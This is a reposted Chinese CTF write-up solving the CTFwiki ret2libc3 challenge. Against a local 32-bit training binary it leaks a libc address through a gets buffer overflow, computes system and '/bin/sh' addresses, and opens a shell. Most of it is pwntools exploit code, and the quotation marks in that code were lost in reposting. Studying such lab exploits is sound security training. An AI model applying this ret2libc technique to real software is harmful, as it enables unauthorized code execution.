码迷,mamicode.com
首页 > 其他好文 > 详细

[WP]CTFwiki-ret2libc3

时间:2019-11-30 20:59:17      阅读:188      评论:0      收藏:0      [点我收藏+]

标签:ida   方便   art   arch   main   arc   pytho   until   保护   

1.例行检查程序。具有 NX 保护。

技术图片

 

 2.IDA载入之后,发现有一个 gets 函数,而 gets 函数使用方便但是十分危险的,因为它对输入长度没有限制,因此我们可以通过 gets 来达到溢出的目的。

 

技术图片

 

 

3.通过 IDA 我们发现并没有预留 system 函数和 /bin/sh 字符串。但是我们发现了 printf 函数,通过这个函数我们便可以将已经执行过的函数的实际地址给泄露出来。

技术图片

4.之后我们计算溢出点,便可以先将部分函数泄露出来。我选择的是泄露 __libc_start_main 和 puts 两个函数地址。

#!/usr/bin/env python
from pwn import *

p = process(./ret2libc3)
elf = ELF(./ret2libc3)
puts_plt = elf.plt[puts]
libc_start_main_got = elf.got[__libc_start_main]
main = elf.symbols[main]
puts_got = elf.got[puts]

print "leak libc_start_main_got addr and return to main again"
payload1 = a * 112
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(libc_start_main_got)          ##需要泄露的函数地址
p.recvuntil(Can you find it !?)
p.sendline(payload1)

print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])     
print("addr:" + hex(libc_start_main_addr))

 

 技术图片

 

 5.通过这两个地址,我们便可以得到 libc 的版本了。

 

#libc_start_main = 0xf7df5d90
#puts_got = 0xf7e44b40

技术图片

 

6.之后我们便可以构造完整的 exp 了。(通过 LibcSearcher 也可以直接找到 libc 的版本。)

#!/usr/bin/env python
from pwn import *

#####from LibcSearcher import LibcSearcher#####

p = process(./ret2libc3)
elf = ELF(./ret2libc3)
puts_plt = elf.plt[puts]
libc_start_main_got = elf.got[__libc_start_main]
main = elf.symbols[main]
puts_got = elf.got[puts]

print "leak libc_start_main_got addr and return to main again"
payload1 = a * 112
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(libc_start_main_got)
p.recvuntil(Can you find it !?)
p.sendline(payload1)

print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])
print("addr:" + hex(libc_start_main_addr))
#libc = LibcSearcher(‘__libc_start_main‘, libc_start_main_addr)
#base_addr = libc_start_main_addr - libc.dump(‘__libc_start_main‘)
#sys_addr = base + libc.dump(‘system‘)
#bin_sh_addr = base + libc.dump(‘str_bin_sh‘)

base = libc_start_main_addr - 0x018d90
sys_addr = 0x03d200 + base
print "system:" + hex(sys_addr)
bin_sh_addr = 0x17e0cf + base
print "binsh:" + hex(bin_sh_addr)
print "get shell"

payload = a * 104          #第二次重定位
payload += p32(sys_addr)
payload += p32(0xdeadbeef)
payload += p32(bin_sh_addr)

p.sendline(payload)
p.interactive()

 

技术图片

 

 

[WP]CTFwiki-ret2libc3

标签:ida   方便   art   arch   main   arc   pytho   until   保护   

原文地址:https://www.cnblogs.com/Tsuiyields/p/11963790.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!